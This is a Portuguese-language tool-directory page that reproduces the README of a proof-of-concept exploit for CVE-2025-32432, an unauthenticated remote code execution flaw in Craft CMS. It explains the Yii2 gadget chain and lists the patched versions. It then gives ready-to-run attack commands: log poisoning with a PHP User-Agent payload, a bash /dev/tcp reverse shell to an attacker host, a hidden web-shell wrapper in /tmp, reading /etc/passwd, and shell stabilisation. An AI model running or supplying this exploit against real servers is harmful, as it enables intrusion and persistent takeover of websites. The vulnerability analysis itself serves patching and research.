Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32432 — PoC funcional para CVE-2025-32432 - Craft CMS <= 5.6.16 RCE não autenticado via gadget Yii2 PhpManager + envenenamento de access.log do nginx | Kitploit
Ferramentas/GitHubGitHub/cd-ratel/cve-2025-32432
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC funcional para CVE-2025-32432 - Craft CMS <= 5.6.16 RCE não autenticado via gadget Yii2 PhpManager + envenenamento de access.log do nginx

Ver Repositório
2111há 4 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-32432 - PoC de RCE não autenticado no Craft CMS

Prova de conceito funcional para CVE-2025-32432, uma vulnerabilidade de execução remota de código não autenticada no Craft CMS versões até e incluindo 5.6.16 (também afeta as árvores 4.x e 3.x em caminhos de código equivalentes).

Palavras-chave de pesquisa: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

O modo padrão ataca instalações vanilla do Craft CMS. Uma flag --lab está incluída para o desafio carangueijada-20 do projeto hacklab-platform, que protege o Craft por trás de um cookie de sessão personalizado.


Vulnerabilidade

Componente afetado: craft\controllers\AssetsController::actionGenerateTransform.

A ação está registrada como allowAnonymous, portanto nenhuma autenticação é necessária. Ela aceita um parâmetro POST handle que é então espalhado em uma chamada Craft::createObject():

$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Quando $handle é um array associativo sob controle do atacante, o espalhamento injeta chaves arbitrárias na configuração do construtor. Em particular, uma chave começando com as é interpretada por yii\base\Component::__set como uma anexação de comportamento, que chama Yii::createObject($config) no valor antes de qualquer verificação de tipo:

elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

A correção do Yii2 na versão 2.0.50 adicionou is_subclass_of($value['class'], Behavior::class) protegendo este ramo; instalações vulneráveis (Yii2 <= 2.0.49, ou verificação removida anteriormente) ignoram a proteção completamente.

Gadget: yii\rbac\PhpManager

PhpManager é uma classe padrão do Yii2. Seu método init() chama load(), que chama loadFromFile($this->itemFile). loadFromFile é literalmente:

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require analisa qualquer arquivo no disco como PHP. Se o arquivo contiver um bloco <?php ... ?>, esse bloco é executado no worker. Ao apontar itemFile para um arquivo cujo conteúdo o atacante controla, o RCE completo é alcançado.

Sink: nginx access.log

O sink confiável entre instalações é o access.log no formato combinado do nginx. Ele registra o User-Agent da requisição literalmente, incluindo caracteres não imprimíveis e a maioria da pontuação. Ao enviar uma requisição cujo User-Agent é <?php system('id'); exit; ?>, o atacante planta um bloco PHP em um caminho conhecido. Apontar itemFile para /var/log/nginx/access.log então executa require no log, executando cada bloco <?php ... ?> em ordem.

Duas sutilezas importantes:

  1. Nenhuma aspa dupla no payload. O nginx escapa " para \x22 no formato combinado, o que quebra a análise PHP da linha. Use aspas simples ou concatenação com chr().
  2. exit; no final para que require seja abortado antes de analisar linhas posteriores do log que possam conter outros payloads malformados.

Versões afetadas

ComponenteVulnerávelCorrigida
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

O Craft 5.6.17 adiciona uma verificação ImageTransformerInterface na classe transformer. O Yii2 2.0.50 adiciona uma verificação de subclasse Behavior em Component::__set. Qualquer uma das correções sozinha fecha esta cadeia de gadget exata.


Requisitos

  • Python 3.8+
  • Biblioteca requests (pip install -r requirements.txt)
  • Acessibilidade de rede ao endpoint HTTP(S) alvo
  • Um assetId válido do Craft no alvo. Padrão 2; sobrescreva com -a <id> se necessário (o asset id 1 geralmente é o avatar do admin).

Uso

Vanilla Craft CMS

python3 exploit.py -u http://victim.tld -c 'id'

Craft montado sob um prefixo de caminho

python3 exploit.py -u http://victim.tld -p /cms -c 'id'

ID de asset personalizado

python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personalizado (caminho de log diferente, sessão FPM, etc.)

python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Modo laboratório (desafio carangueijada-20)

O laboratório carangueijada-20 do hacklab-platform protege a instalação do Craft por trás de um cookie coopsess emitido por PATCH /login. A flag --lab lida com esse handshake automaticamente.

python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Certifique-se de que www.carangueijada.coop resolva para o IP do laboratório (adicione ao /etc/hosts se necessário).

Reverse shell

A flag --revshell dispara um connect-back bash -i >& /dev/tcp/<lhost>/<lport> 0>&1, em segundo plano para que o POST do gadget retorne instantaneamente.

Fluxo de dois terminais (mais confiável):

# terminal 1 - listener na sua máquina
nc -lvnp 4444

# terminal 2 - disparar exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Fluxo de um terminal com listener embutido:

python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen inicia nc -lvnp <lport> no mesmo terminal antes de disparar o payload. Ctrl+C sai quando terminar.

Exemplo de sessão (laboratório):

$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Estabilizando o shell (após conectar, execute dentro do reverse shell):

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z para colocar nc em segundo plano
stty raw -echo; fg
# Enter duas vezes
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Como a idempotência funciona

Na primeira execução, o exploit envenena o access.log uma vez para deixar um wrapper PHP oculto em /tmp/.cve32432_w.php. O wrapper lê o cabeçalho HTTP X-Cmd e executa system($_SERVER['HTTP_X_CMD']). Cada envio subsequente aponta itemFile para o arquivo wrapper e passa o comando via cabeçalho. Sem mais envenenamento, sem mais poluição do log, sem mais falhas de "primeiro bloco <?php exit; vence".

Se quiser forçar o recarregamento, exclua /tmp/.cve32432_w.php no alvo (você pode fazer isso através do próprio wrapper: --cmd 'rm /tmp/.cve32432_w.php').


Exemplo de saída

Execução bem-sucedida contra alvo novo:

Baixar ferramenta